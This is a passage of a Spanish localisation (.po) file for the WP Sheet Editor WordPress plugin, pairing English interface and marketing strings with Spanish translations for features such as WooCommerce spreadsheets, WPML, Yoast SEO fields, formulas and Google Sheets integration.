                  Ver los archivos de imagen, vídeo y todos los archivos de la Biblioteca " "de medios de WordPress en una hoja de cálculo. Editar todos los campos de " "los archivos, incluyendo el texto alternativo, la leyenda, las descripciones " "de los archivos. Hacer búsquedas avanzadas por cualquier campo. Generar de " "manera automática los textos alternativos, las leyendas, etc. usando el " "título o las categorías de las entradas principales. Actualizar miles de " "archivos a la vez. Y mucho más.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:221 #: wp-sheet-editor/dev/wp-sheet-editor.php:235 #: wp-sheet-editor/dev/wp-sheet-editor.php:267 #: wp-sheet-editor/dev/wp-sheet-editor.php:281 #: wp-sheet-editor/dev/wp-sheet-editor.php:295 #: wp-sheet-editor/dev/wp-sheet-editor.php:309 #: wp-sheet-editor/dev/wp-sheet-editor.php:324 #: wp-sheet-editor/dev/wp-sheet-editor.php:338 #: wp-sheet-editor/dev/wp-sheet-editor.php:352 #: wp-sheet-editor/dev/wp-sheet-editor.php:366 msgid "Buy" msgstr "Comprar" #: wp-sheet-editor/dev/wp-sheet-editor.php:230 msgid "Edit categories, tags, attributes in a spreadsheet" msgstr "Editar categorías, etiquetas y atributos en una hoja de cálculo" #: wp-sheet-editor/dev/wp-sheet-editor.php:233 msgid "" "

                  One spreadsheet for categories, tags, product attributes, event " "categories, portfolio categories, real state tags, etc. View and edit all " "the items in one place, copy paste, upload category images quickly, add " "descriptions, edit SEO, etc.

                  " msgstr "" "

                  Una hoja de cálculo para categorías, etiquetas, atributos de productos, " "categorías de eventos, categorías de portafolios, etiquetas inmobiliarias, " "etc. Ver y editar todos los ítems en un solo lugar. Copiar y pegar. Subir " "imágenes de categorías rápidamente. Agregar descripciones. Edita el SEO. Y " "mucho más.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:262 msgid "WooCommerce Coupons Spreadsheet" msgstr "Hoja de Cálculo de Cupones de WooCommerce" #: wp-sheet-editor/dev/wp-sheet-editor.php:265 msgid "" "

                  View WooCommerce Coupons in a spreadsheet. Edit all coupon fields, " "Advanced Search by any field , Auto generate hundreds of coupons, Update " "hundreds of coupons at once, and more.

                  " msgstr "" "

                  Ver los cupones de WooCommerce en una hoja de cálculo. Editar todos los " "campos de cupones. Búsqueda avanzada por cualquier campo. Generar " "automáticamente cientos de cupones. Actualizar cientos de cupones a la vez. " "Y mucho más.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:276 msgid "WooCommerce Orders Spreadsheet" msgstr "Hoja de Cálculo de Pedidos de WooCommerce" #: wp-sheet-editor/dev/wp-sheet-editor.php:279 msgid "" "

                  View and dispatch all the Orders quickly. Advanced Search by any field " "(shipping method, taxes, VAT, payment methods, customers, products, etc), " "Export orders and customers information including guest customers; edit " "thousands of orders quickly, and more.

                  " msgstr "" "

                  Ver y despachar todos los pedidos rápidamente. Búsqueda avanzada por " "cualquier campo (método de envío, impuestos, IVA, métodos de pago, clientes, " "productos, etc.). Exportar pedidos e información de clientes incluyendo " "clientes invitados. Editar miles de pedidos rápidamente. Y mucho más.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:290 msgid "Comments, Reviews, and Order Notes Spreadsheet" msgstr "Hoja de Cálculo de Comentarios, Reseñas y Notas de Pedido" #: wp-sheet-editor/dev/wp-sheet-editor.php:293 msgid "" "

                  It is the best way to manage your comments, WooCommerce customer " "reviews, event reviews, testimonials, and order notes in a spreadsheet. You " "can make advanced searches by any field (keyword, order note, status, find " "comments by post type, and all the fields). You can bulk edit them, delete " "all at once, export them to excel or external systems, import comments and " "reviews from other systems, and more.

                  " msgstr "" "

                  Es la mejor manera de gestionar tus comentarios, las valoraciones de los " "clientes de WooCommerce, los comentarios de los eventos, los testimonios y " "las notas de pedido en una hoja de cálculo. Puedes hacer búsquedas avanzadas " "por cualquier campo (palabra clave, nota de pedido, estado, encontrar " "comentarios por post type, y todos los campos). Puedes editarlos " "masivamente, borrarlos todos a la vez, exportarlos a Excel o a sistemas " "externos, importar comentarios y reseñas de otros sistemas, y más.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:304 msgid "Custom Database Tables Spreadsheet" msgstr "Hoja de Cálculo de Tablas de Bases de Datos Personalizadas" #: wp-sheet-editor/dev/wp-sheet-editor.php:307 msgid "" "

                  One Spreadsheet for Every Custom Database Table added by other plugins. " "Live edit in the cells, Bulk Edit, Make advanced searches by any field, " "export and import, bulk delete, move information between sites, edit " "thousands of items, and more.

                  " msgstr "" "

                  Una hoja de cálculo para cada tabla personalizada encontrada en tu base " "de datos, incluyendo tablas agregadas por otros plugins. Edita en vivo. Haz " "ediciones masivas en miles de filas. Haz búsquedas avanzadas. Exporta. " "Importar. Eliminar filas en lotes. Y mucho más.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:319 msgid "Easy Digital Downloads Spreadsheet" msgstr "Hoja de Cálculo de Easy Digital Downloads" #: wp-sheet-editor/dev/wp-sheet-editor.php:322 msgid "" "

                  View all the EDD products in a spreadsheet, create downloads and files " "in bulk, edit hundreds of products at once using formulas, Advanced searches " "using multiple fields, etc.

                  " msgstr "" "

                  Ver todas las descargas de Easy Digital Downloads en una hoja de cálculo. " "Crear descargas y archivos masivamente. Editar cientos de productos a la vez " "usando fórmulas. Búsquedas avanzadas usando múltiples campos. Y mucho más." #: wp-sheet-editor/dev/wp-sheet-editor.php:333 msgid "Events Spreadsheet" msgstr "Hoja de Cálculo de The Events Calendar" #: wp-sheet-editor/dev/wp-sheet-editor.php:336 msgid "" "

                  View all the events in a spreadsheet, create events in bulk, edit " "hundreds of events at once using formulas, Advanced searches using multiple " "event fields, etc.

                  " msgstr "" "

                  Ver todos los eventos del plugin The Events Calendar en una hoja de " "cálculo. Crear eventos masivamente. Editar cientos de eventos a la vez " "usando fórmulas. Búsquedas avanzadas usando múltiples campos de eventos. Y " "mucho más.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:347 msgid "Give Spreadsheet" msgstr "Hoja de Cálculo de GiveWP" #: wp-sheet-editor/dev/wp-sheet-editor.php:350 msgid "" "

                  This includes spreadsheets to manage Donation Forms, Donations, and " "Donors. You can bulk edit, export, import, and quickly manage your donations " "website created with GiveWP

                  " msgstr "" "

                  Hojas de cálculo para gestionar Formularios de Donación, Donaciones y " "Donantes del plugin GiveWP. Puedes editar en masa, exportar, importar y " "gestionar rápidamente tu sitio web de donaciones.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:361 msgid "Display the spreadsheet editor in the frontend" msgstr "Mostrar el editor de hojas de cálculo en el frontend" #: wp-sheet-editor/dev/wp-sheet-editor.php:364 msgid "" "

                  Create new spreadsheets with custom columns and Share the Spreadsheets " "with your Users or Employees on the Frontend. Useful for marketplaces where " "vendors should edit products in the spreadsheet, allow post or event " "submissions on the Frontend, events directories, Web Apps, Custom " "Dashboards, etc.

                  " msgstr "" "

                  Crea nuevas hojas de cálculo con columnas personalizadas y comparte las " "hojas de cálculo con tus usuarios o empleados en el frontend. Es útil para " "los mercados donde los vendedores deben editar los productos en la hoja de " "cálculo, permitir el envío de entradas o eventos en el frontend, directorios " "de eventos, aplicaciones web, tableros personalizados, etc.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:374 msgid "WooCommerce - Products Integration" msgstr "Integración con Productos WooCommerce" #: wp-sheet-editor/dev/wp-sheet-editor.php:377 msgid "" "

                  Edit WooCommerce products in the spreadsheet. It supports all kinds of " "products, including Variable Products, Downloadable Products, External " "Products, Simple Products. You can edit all product fields in the " "spreadsheet, including attributes, images, etc.

                  " msgstr "" "

                  Editar productos de WooCommerce en la hoja de cálculo. Soporta todo tipo " "de productos, incluyendo Productos Variables, Productos Descargables, " "Productos Externos, Productos Simples. Puedes editar todos los campos de " "productos en la hoja de cálculo, incluyendo atributos, imágenes, etc.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:386 msgid "Custom post types" msgstr "Tipos de post personalizados" #: wp-sheet-editor/dev/wp-sheet-editor.php:389 msgid "" "

                  Edit restaurant menus, courses, projects, portfolios, and all custom " "post types.

                  " msgstr "" "

                  Editar menús de restaurantes, cursos, proyectos, portafolios, y todos " "los post types personalizados.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:396 msgid "Columns renaming" msgstr "Renombrar columnas" #: wp-sheet-editor/dev/wp-sheet-editor.php:399 msgid "" "

                  You can rename the columns of the spreadsheet.
                  Example. Instead of " "showing “Post author” on the spreadsheet, you can change it to “Uploaded by”." "

                  " msgstr "" "

                  Puedes cambiar el nombre de las columnas de la hoja de cálculo. En lugar " "de mostrar \"Autor\" en la hoja de cálculo, puedes cambiarlo a \"Subido " "por\".

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:400 #: wp-sheet-editor/dev/wp-sheet-editor.php:412 #: wp-sheet-editor/dev/wp-sheet-editor.php:505 #: wp-sheet-editor/dev/wp-sheet-editor.php:533 msgid "Install for Free" msgstr "Instalar Gratis" #: wp-sheet-editor/dev/wp-sheet-editor.php:408 msgid "YOAST SEO" msgstr "YOAST SEO" #: wp-sheet-editor/dev/wp-sheet-editor.php:411 msgid "" "

                  Edit SEO title, description, keyword, and SEO score in spreadsheet

                  " msgstr "" "

                  Editar el título, la descripción, la palabra clave y la puntuación de " "SEO en la hoja de cálculo

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:420 msgid "Advanced Search" msgstr "Búsqueda Avanzada" #: wp-sheet-editor/dev/wp-sheet-editor.php:423 msgid "" "

                  Find posts by keyword, taxonomies, author, date, status, or custom " "fields.

                  Search in multiple fields with advanced operators: =, !=, " "<, >, LIKE, NOT LIKE

                  Examples: Find products from category Audio " "with stock < 20, or products from category Apple without featured image, or " "products containing the keyword \"Google\" without image gallery.

                  " msgstr "" "

                  Buscar entradas por palabra clave, taxonomías, autor, fecha, estado o " "campos personalizados.

                  Buscar en múltiples campos con operadores " "avanzados: =, !=, <, >, LIKE, NOT LIKE

                  Ejemplos: Encontrar " "productos de la categoría Audio con inventario < 20, o productos de la " "categoría Manzana sin imagen destacada, o productos que contengan la palabra " "clave \"Google\" y que no tengan galerías de imágenes.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:430 msgid "Formulas" msgstr "Fórmulas" #: wp-sheet-editor/dev/wp-sheet-editor.php:433 msgid "" "

                  Edit Hundreds of Posts at Once with just a few clicks. Search and " "replace, Replace urls and phrases, save values to fields in bulk, copy " "values between fields, merge fields, etc..

                  Examples: Copy regular " "price to sale price, update product attributes names, etc.

                  " msgstr "" "

                  Editar cientos de entradas a la vez con unos pocos clics. Buscar y " "reemplazar. Reemplazar URLs y frases. Guardar valores en campos masivamente. " "Copiar valores entre campos. Combinar campos. Y mucho más.

                  Ejemplos: " "Copiar el precio normal al precio de rebajado, actualizar los nombres de los " "atributos de los productos, etc.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:440 msgid "Math Formulas" msgstr "Fórmulas matemáticas" #: wp-sheet-editor/dev/wp-sheet-editor.php:443 msgid "" "

                  Edit Hundreds of Posts at Once. Update numeric fields using advanced " "math formulas. Example, increase prices by 10% , manage inventory , etc. Run " "any math formula.

                  You can use multiple fields in the formula, for " "example, \"Regular price x Inventory / Sales price

                  " msgstr "" "

                  Editar cientos de entradas a la vez. Actualizar campos numéricos usando " "fórmulas matemáticas avanzadas. Por ejemplo, aumentar los precios en un 10%, " "gestionar el inventario, etc. Ejecutar cualquier fórmula matemática.

                  Puedes utilizar varios campos en la fórmula. Por ejemplo, \"Precio " "normal x Precio de inventario / Precio rebajado

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:450 msgid "Advanced Custom Fields" msgstr "Advanced Custom Fields" #: wp-sheet-editor/dev/wp-sheet-editor.php:453 msgid "" "

                  Advanced Custom Fields metaboxes appear in the Spreadsheet " "Automatically. So you can edit custom fields easily.

                  " msgstr "" "

                  Los campos creados con el plugin Advanced Custom Fields aparecen en la " "hoja de cálculo automáticamente. Así que puedes editar campos personalizados " "fácilmente.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:460 msgid "Edit Custom Fields in Spreadsheet" msgstr "Editar Campos Personalizados en una Hoja de Cálculo" #: wp-sheet-editor/dev/wp-sheet-editor.php:463 msgid "" "

                  You can create columns for custom fields.
                  Edit page settings added " "by your theme, event details, products information, etc.

                  " msgstr "" "

                  Puedes crear columnas para campos personalizados.
                  Editar la " "configuración de la página añadida por el tema, los detalles del evento, la " "información de los productos, etc.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:470 msgid "Edit Posts and Pages in Spreadsheet" msgstr "Editar Entradas y Páginas en una Hoja de Cálculo" #: wp-sheet-editor/dev/wp-sheet-editor.php:473 msgid "

                  Edit default post fields in spreadsheet.

                  " msgstr "

                  Editar campos de entradas por defecto en una hoja de cálculo.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:481 msgid "WooCommerce - BASIC integration" msgstr "WooCommerce - Integración BASICA" #: wp-sheet-editor/dev/wp-sheet-editor.php:484 msgid "" "

                  You can edit simple products only. Available columns: title, url, " "description, date, SKU, regular price, sale price, stock status, manage " "stock, stock quantity.

                  More columns and product types available as " "premium extension.

                  " msgstr "" "

                  Sólo puedes editar productos simples. Columnas disponibles: título, URL, " "descripción, fecha, SKU, precio normal, precio rebajado, estado de " "inventario, gestión del inventario, cantidad de existencias.

                  Más " "columnas y tipos de producto disponibles como extensión premium.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:492 msgid "Columns visibility" msgstr "Visibilidad de las columnas" #: wp-sheet-editor/dev/wp-sheet-editor.php:495 msgid "

                  You can show, hide, and sort columns in the spreadsheet.

                  " msgstr "" "

                  Puedes mostrar, ocultar y cambiar el orden de las columnas en la hoja de " "cálculo.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:501 msgid "Autofill cells" msgstr "Autocompletar las celdas" #: wp-sheet-editor/dev/wp-sheet-editor.php:504 msgid "" "

                  You can auto fill cells (copy) by dragging the cell corner into other " "cells, as you can do in excel.

                  " msgstr "" "

                  Puedes rellenar automáticamente las celdas (copiar) arrastrando la " "esquina de la celda a otras celdas, como lo haces en Excel.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:512 msgid "Basic search" msgstr "Búsqueda básica" #: wp-sheet-editor/dev/wp-sheet-editor.php:514 msgid "" "

                  Search in the spreadsheet. Find posts by keyword, status, and author.

                  " msgstr "" "

                  Buscar en la hoja de cálculo. Buscar filas por palabra clave, estado y " "autor.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:522 msgid "Columns resizing" msgstr "Redimensionar columnas" #: wp-sheet-editor/dev/wp-sheet-editor.php:524 msgid "" "

                  Resize columns in the spreadsheet and save it for future sessions.

                  " msgstr "" "

                  Puedes cambiar el tamaño de las columnas en la hoja de cálculo y " "guardarlo para sesiones futuras.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:530 msgid "Duplicate (Tool)" msgstr "Duplicar (Herramienta)" #: wp-sheet-editor/dev/wp-sheet-editor.php:532 msgid "" "

                  Add a \"duplicate\" tool to the spreadsheet. You can select one row " "(post, product, coupon, etc.) and create a lot of copies.

                  Example. " "Create 100 products with the same tags, dimensions, attributes, and " "variations. And only change a couple of fields manually.

                  " msgstr "" "

                  Añadir una herramienta de \"duplicar\" a la hoja de cálculo. Puedes " "seleccionar una fila (entrada, producto, cupón, etc.) y crear muchas copias." "

                  Ejemplo: Crear 100 productos con las mismas etiquetas, dimensiones, " "atributos y variaciones. Y sólo cambiar un par de campos manualmente.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:546 msgid "Everything you need for All Posts Types and Products" msgstr "Todo lo que necesitas para todos los post types y productos" #: wp-sheet-editor/dev/wp-sheet-editor.php:553 #: wp-sheet-editor/dev/wp-sheet-editor.php:566 msgid "Buy bundle" msgstr "Comprar el paquete" #: wp-sheet-editor/dev/wp-sheet-editor.php:559 msgid "Everything you need for Users and Customers" msgstr "Todo lo que necesitas para los usuarios y clientes" #: wp-sheet-editor/dev/wp-sheet-editor.php:671 msgid "" "

                  WP Sheet Editor

                  \r\n" "

                  Do you want to install the premium plugin that you " "purchased? Follow these steps:

                  \r\n" "
                    \r\n" "
                  1. If you were using the free version of the plugin " "before the purchase, you need to uninstall the free version now
                  2. \r\n" "
                  3. When you purchased the plugin, you received an email " "with the download link and license key
                  4. \r\n" "
                  5. Now go to this " "page and click on the \"Upload\" button at the top
                  6. \r\n" "
                  7. Upload the premium zip file
                  8. \r\n" "
                  9. Activate the plugin
                  10. \r\n" "
                  11. You will see a screen asking for a license, enter " "your license key
                  12. \r\n" "
                  13. Done. Now you should see the welcome page where you " "can set up the plugin and start using it
                  14. \r\n" "
                  \r\n" "

                  If you need help, you can contact us

                  " msgstr "" "

                  WP Sheet Editor

                  \n" "

                  ¿Quieres instalar el plugin premium que compraste? Sigue " "estos pasos:

                  \n" "
                    \n" "
                  1. Si estabas usando la versión gratuita del plugin " "antes de la compra, necesita desinstalar la versión gratuita ahora.
                  2. \n" "
                  3. Cuando compraste el plugin, recibiste un correo " "electrónico con el enlace de descarga y la clave de licencia.
                  4. \n" "
                  5. ahora ve a esta " "página y haz clic en el botón \"Subir plugin\".
                  6. \n" "
                  7. Sube el archivo zip del plugin.
                  8. \n" "
                  9. Activa el plugin.
                  10. \n" "
                  11. Verás una pantalla solicitándote la licencia. " "Ingresa la licencia.
                  12. \n" "
                  13. Listo. Ahora deberías ver la página de bienvenida " "donde puedes configurar y comenzar a usar el plugin.
                  14. \n" "
                  \n" "

                  Si necesitas ayuda, puedes contactarnos

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:1046 msgid "Quick Answers" msgstr "Respuestas rápidas" #: wp-sheet-editor/dev/wp-sheet-editor.php:1047 msgid "You can read our FAQ with a list of hundreds of questions" msgstr "" "Puedes leer nuestras Preguntas Frecuentes con una lista de cientos de " "preguntas" #: wp-sheet-editor/dev/wp-sheet-editor.php:1051 msgid "Guides and Tutorials" msgstr "Guías y Tutoriales" #: wp-sheet-editor/dev/wp-sheet-editor.php:1052 msgid "We have +200 tutorials and guides on our blog" msgstr "Tenemos CIENTOS de tutoriales y guías en nuestro blog" #: wp-sheet-editor/dev/wp-sheet-editor.php:1057 msgid "Get instant help in the live chat + email support during business hours" msgstr "" "Obtén ayuda instantánea en el chat en vivo + soporte por correo electrónico " "en horas de oficina" #: wp-sheet-editor/dev/wp-sheet-editor.php:1094 msgid "WP Sheet Editor Usage" msgstr "Uso de WP Sheet Editor" #: wpml/inc/post.php:132 wpml/inc/term.php:74 msgid "WPML - Missing translations in these languages" msgstr "WPML - Faltan traducciones en estos idiomas" #: wpml/inc/post.php:132 msgid "" "For example, select \"Spanish\" and \"German\" here and we'll find products " "that don't have spanish translations or german translations." msgstr "" "Por ejemplo, selecciona \"español\" y \"alemán\" aquí y encontraremos " "productos que no tienen traducción al español ni al alemán." #: wpml/inc/post.php:369 wpml/inc/term.php:247 msgid "WPML - Duplicate" msgstr "WPML - Duplicar" #: wpml/inc/post.php:377 wpml/inc/term.php:255 msgid "" "Enter multiple language codes separated by commas and we will create copies " "of the main language. For example: en, es. Existing languages will be " "skipped." msgstr "" "Ingresa los códigos de varios idiomas separados por comas y crearemos copias " "del idioma principal. Por ejemplo: en, es. Los idiomas existentes serán " "omitidos." #: wpml/inc/post.php:389 wpml/inc/term.php:228 msgid "WPML - Translation of" msgstr "WPML - Traducción de" #: wpml/inc/post.php:408 msgid "WPML - Relationship" msgstr "WPML - Relación" #: wpml/inc/post.php:419 msgid "Duplicate from the main language" msgstr "Duplicar desde el idioma principal" #: wpml/inc/post.php:420 msgid "Translate separately" msgstr "Traducir por separado" #: wpml/inc/post.php:435 wpml/inc/term.php:267 msgid "WPML - Language" msgstr "WPML - Idioma" #: wpml/inc/post.php:446 wpml/inc/term.php:281 msgid "" "You can change the language of this post. If the translation for the new " "language exists, this change will not be applied." msgstr "" "Puedes cambiar el idioma de esta entrada. Si existe la traducción para el " "nuevo idioma, este cambio no se aplicará." #: wpml/inc/post.php:458 msgid "WPML - Translation priority" msgstr "WPML - Prioridad de traducción" #: wpml/inc/term.php:74 msgid "" "For example, select \"Spanish\" and \"German\" here and we'll find terms " "that don't have spanish translations or german translations." msgstr "" "Por ejemplo, selecciona \"español\" y \"alemán\" aquí y encontraremos " "términos que no tienen traducción al español ni al alemán." #: yoast-seo/yoast-seo.php:27 msgid "" "Please update the WP Sheet Editor plugin and all its extensions to the " "latest version. The features of the plugin \"" msgstr "" "Por favor, actualiza el plugin WP Sheet Editor y todas sus extensiones a la " "última versión. Las características del plugin \"" #: yoast-seo/yoast-seo.php:238 msgid "SEO Title" msgstr "Título SEO" #: yoast-seo/yoast-seo.php:260 msgid "SEO Description" msgstr "Descripción SEO" #: yoast-seo/yoast-seo.php:278 msgid "SEO Keyword" msgstr "Palabra clave de SEO" #: yoast-seo/yoast-seo.php:299 msgid "SEO FB title" msgstr "Título SEO para Facebook" #: yoast-seo/yoast-seo.php:315 msgid "SEO FB description" msgstr "Descripción SEO para Facebook" #: yoast-seo/yoast-seo.php:331 msgid "SEO FB image" msgstr "Imagen SEO para Facebook" #: yoast-seo/yoast-seo.php:349 msgid "SEO TW title" msgstr "Título SEO para Twitter" #: yoast-seo/yoast-seo.php:365 msgid "SEO TW description" msgstr "Descripción SEO para Twitter" #: yoast-seo/yoast-seo.php:381 msgid "SEO TW image" msgstr "Imagen SEO para Twitter" #: yoast-seo/yoast-seo.php:399 msgid "SEO Canonical URL" msgstr "URL Canónica de SEO" #: yoast-seo/yoast-seo.php:421 msgid "SEO No Index" msgstr "SEO - No indexar" #: yoast-seo/yoast-seo.php:449 msgid "SEO" msgstr "SEO" #: yoast-seo/yoast-seo.php:474 msgid "SEO Primary %s" msgstr "%s SEO Primario" #~ msgid "Post ID" #~ msgstr "ID" #~ msgid "The cells will display the date in the format: YYYY-MM-DD" #~ msgstr "Las celdas mostrarán la fecha en el formato: AAAA-MM-DD" #~ msgid "Generated formula:" #~ msgstr "Fórmula generada:" #~ msgid "Execute formula on future posts automatically (Advanced users only)" #~ msgstr "" #~ "Ejecutar la fórmula en futuros posts automáticamente (Sólo usuarios " #~ "avanzados)" #~ msgid "" #~ "If you mark this option , when you create or update a post in the " #~ "spreadsheet, we will check if the post matches the formula parameters and " #~ "execute the formula automatically on that post. For example. When you " #~ "create a product with category apples we can set the description " #~ "automatically, or when you change the SKU we can update the downloadable " #~ "files URLs automatically." #~ msgstr "" #~ "Si marcas esta opción, cuando crees o actualices un post en la hoja de " #~ "cálculo, comprobaremos si el post coincide con los parámetros de la " #~ "fórmula y ejecutaremos la fórmula automáticamente en ese post. Por " #~ "ejemplo. Al crear un producto con la categoría \"Manzanas\" podemos " #~ "establecer la descripción automáticamente, o al cambiar el SKU podemos " #~ "actualizar las URL de los archivos descargables automáticamente." #~ msgid "Execute on future posts only" #~ msgstr "Ejecutar sólo en futuros posts" #~ msgid "" #~ "Here you can view all the formulas saved for ongoing execution. These " #~ "formulas will be executed on posts matching the filters when they are " #~ "created or updated in the spreadsheet." #~ msgstr "" #~ "Aquí puedes ver todas las fórmulas guardadas para la ejecución en curso. " #~ "Estas fórmulas se ejecutarán en los post que coincidan con los filtros " #~ "cuando se creen o actualicen en la hoja de cálculo." #~ msgid "" #~ "Note. If you want to modify saved formulas you have to delete the formula " #~ "and create it again in the formulas builder." #~ msgstr "" #~ "Nota. Si quieres modificar fórmulas guardadas, tienes que borrar la " #~ "fórmula y crearla de nuevo en el editor de fórmulas." #~ msgid "You haven't saved formulas yet." #~ msgstr "Aun no has guardado fórmulas." #~ msgid "Field to update:" #~ msgstr "Campo a actualizar:" #~ msgid "Formula type:" #~ msgstr "Tipo de fórmula:" #~ msgid "Formula parameters:" #~ msgstr "Parámetros de la fórmula:" #~ msgid "Parameter:" #~ msgstr "Parámetro:" #~ msgid "All" #~ msgstr "Todo" #~ msgid "" #~ "Replace existing value with a random value from this list. Enter the " #~ "values separated with |" #~ msgstr "" #~ "Reemplazar un valor existente con un valor aleatorio de esta lista. " #~ "Ingresa valores separados con |" #~ msgid "" #~ "Note. More than 75 copies at once might overload the server. Do it in " #~ "small batches.
                  You can continue if you think your server can handle it." #~ msgstr "" #~ "Nota. Más de 75 copias a la vez podrían sobrecargar el servidor. Hazlo en " #~ "lotes pequeños.
                  Puedes continuar si crees que tu servidor puede " #~ "manejarlo." #~ msgid "Edit in Google Sheets" #~ msgstr "Editar en Google Sheets" #~ msgid "" #~ "1. Open Google Sheets." #~ "
                  2. Click on \"wp sheet editor\" in the menu
                  3. Enter this link in " #~ "the \"quick access\" option in the Google Sheet sidebar." #~ msgstr "" #~ "1. Open Google Sheets." #~ "
                  2. Click on \"wp sheet editor\" in the menu
                  3. Enter this link in " #~ "the \"quick access\" option in the Google Sheet sidebar." #~ msgid "" #~ "Use this link privately for security reasons, this link expires after one " #~ "usage." #~ msgstr "" #~ "Usa este enlace de forma privada por razones de seguridad, este enlace " #~ "expira después de un uso." #~ msgid "JWT is not configurated properly, please contact the admin" #~ msgstr "" #~ "JWT no está configurado correctamente, por favor contacta con el " #~ "administrador" #~ msgid "The quick access link has expired or it does not exist" #~ msgstr "El enlace de acceso rápido ha caducado o no existe" #~ msgid "Note. This works in Google Chrome only." #~ msgstr "Nota. Esto sólo funciona en Google Chrome." #~ msgid "" #~ "Add this code at the beginning of the .htaccess file in the root " #~ "directory of your website. It is required for authenticating requests " #~ "between Google Sheets and WordPress" #~ msgstr "" #~ "Añade este código al principio del archivo .htaccess en el directorio " #~ "raíz de tu sitio web. Es necesario para autentificar las solicitudes " #~ "entre Google Sheets y WordPress" #~ msgid "" #~ "Install the \"WP Sheet Editor\" chrome extension. Install" #~ msgstr "" #~ "Instalar la extensión \"WP Sheet Editor\" en Chrome. Instalar" #~ msgid "" #~ "Open Google Sheets. Click here" #~ msgstr "" #~ "Abrir Google Sheets. Clic aquí" #~ msgid "In Google Sheets > top toolbar. Open the \"WordPress\" option." #~ msgstr "" #~ "En Google Sheets > barra de herramientas superior. Abre la opción " #~ "\"WordPress\"." #~ msgid "" #~ "Copy this access link and paste it in Google Sheets. Get quick access link" #~ msgstr "" #~ "Copia este enlace de acceso y pégalo en Google Sheets. Obtener enlace de acceso rápido " #~ msgid "" #~ "You must use it privately for security reasons, this link expires after " #~ "one usage." #~ msgstr "" #~ "Debes utilizarlo en privado por razones de seguridad, este enlace expira " #~ "después de un uso." #~ msgid "Error 8391. You dont have enough permissions to view this page." #~ msgstr "Error 8391. No tienes suficientes permisos para ver esta página." #~ msgid "Add new posts" #~ msgstr "Añadir nuevos posts" #~ msgid "Deactivate everything. Use the REST API only" #~ msgstr "Desactivar todo. Usar sólo la API REST" #~ msgid "" #~ "If you activate this option we will deactivate all the spreadsheets, " #~ "settings pages, and the entire plugin will become invisible to the user. " #~ "Only the REST API will remain active. This is useful for advanced " #~ "scenarios when you only use our REST API to keep websites synchronized " #~ "with external spreadsheets or systems. When this option is active, our " #~ "settings page will moved under the general settings menu because our " #~ "sheet editor menu will be removed" #~ msgstr "" #~ "Si activas esta opción, desactivaremos todas las hojas de cálculo, " #~ "páginas de configuración y el plugin completo se volverá invisible para " #~ "el usuario. Sólo la API REST permanecerá activa. Esto es útil para " #~ "escenarios avanzados cuando sólo usas nuestra API REST para mantener los " #~ "sitios web sincronizados con hojas de cálculo o sistemas externos. Cuando " #~ "esta opción está habilitada, nuestra página de configuración se moverá " #~ "bajo el menú de configuración general porque nuestro menú de editor de " #~ "hojas será eliminado" #~ msgid "" #~ "The taxonomy columns (i.e. categories, tags) use a limited dropdown by " #~ "default for selecting one term only and the column can be copy pasted. We " #~ "have a fancy dropdown selector, which has better auto complete, allows " #~ "selecting multiple options, etc. but it uses more server resources and it " #~ "doesn't allow copy pasting in these cells. You can activate it here if " #~ "you prefer a better dropdown over the ability to copy paste." #~ msgstr "" #~ "Las columnas de taxonomía (es decir, las categorías, las etiquetas) " #~ "utilizan un menú desplegable limitado por defecto para seleccionar un " #~ "solo término y la columna se puede copiar y pegar. Tenemos un selector " #~ "desplegable de avanzado, que tiene mejor autocompletado, permite " #~ "seleccionar múltiples opciones, etc. pero utiliza más recursos del " #~ "servidor y no permite copiar y pegar en estas celdas. Puedes activarlo " #~ "aquí si prefieres un desplegable mejor que la capacidad de copiar y pegar." #~ msgid "Enable the REST API" #~ msgstr "Habilitar la API REST" #~ msgid "" #~ "The REST API can be used for interacting with our spreadsheet from " #~ "external apps." #~ msgstr "" #~ "La API REST puede utilizarse para interactuar con nuestra hoja de cálculo " #~ "desde aplicaciones externas." #, fuzzy #~| msgid "Parent Spreadsheet:" #~ msgid "Current spreadsheet: %s" #~ msgstr "Hoja Superior:" #~ msgid "0 rows" #~ msgstr "0 filas" #~ msgid "" #~ "New extension - WooCommerce Coupons - View/edit coupons in a spreadsheet. " #~ "Advanced search, Bulk Edit hundreds of coupons, etc. Perfect for the " #~ "christmas season. View Extension)" #~ msgstr "" #~ "Nueva extensión - Cupones WooCommerce - Ver/editar cupones en una hoja de " #~ "cálculo. Búsqueda avanzada, edición masiva de cientos de cupones, etc. " #~ "Perfecto para la temporada navideña. Ver " #~ "Extensión )" #~ msgid "" #~ "New extension - EVENTS - View/edit events, venues, and organizers in a " #~ "spreadsheet. Advanced search, etc. View " #~ "Extension)" #~ msgstr "" #~ "Nueva extensión - EVENTOS - Ver/editar eventos, lugares y organizadores " #~ "en una hoja de cálculo. Búsqueda avanzada, etc. Ver Extensión )" #~ msgid "" #~ "New feature - Added support for Advanced Custom Fields > relationship " #~ "fields. Paid users only. Upgrade)" #~ msgstr "" #~ "Nueva característica - Añadido soporte para Campos Personalizados " #~ "Avanzados > campos de relación. Sólo usuarios de pago . Actualizar)" #~ msgid "" #~ "Improved tools: formulas engine. Now you can make advanced 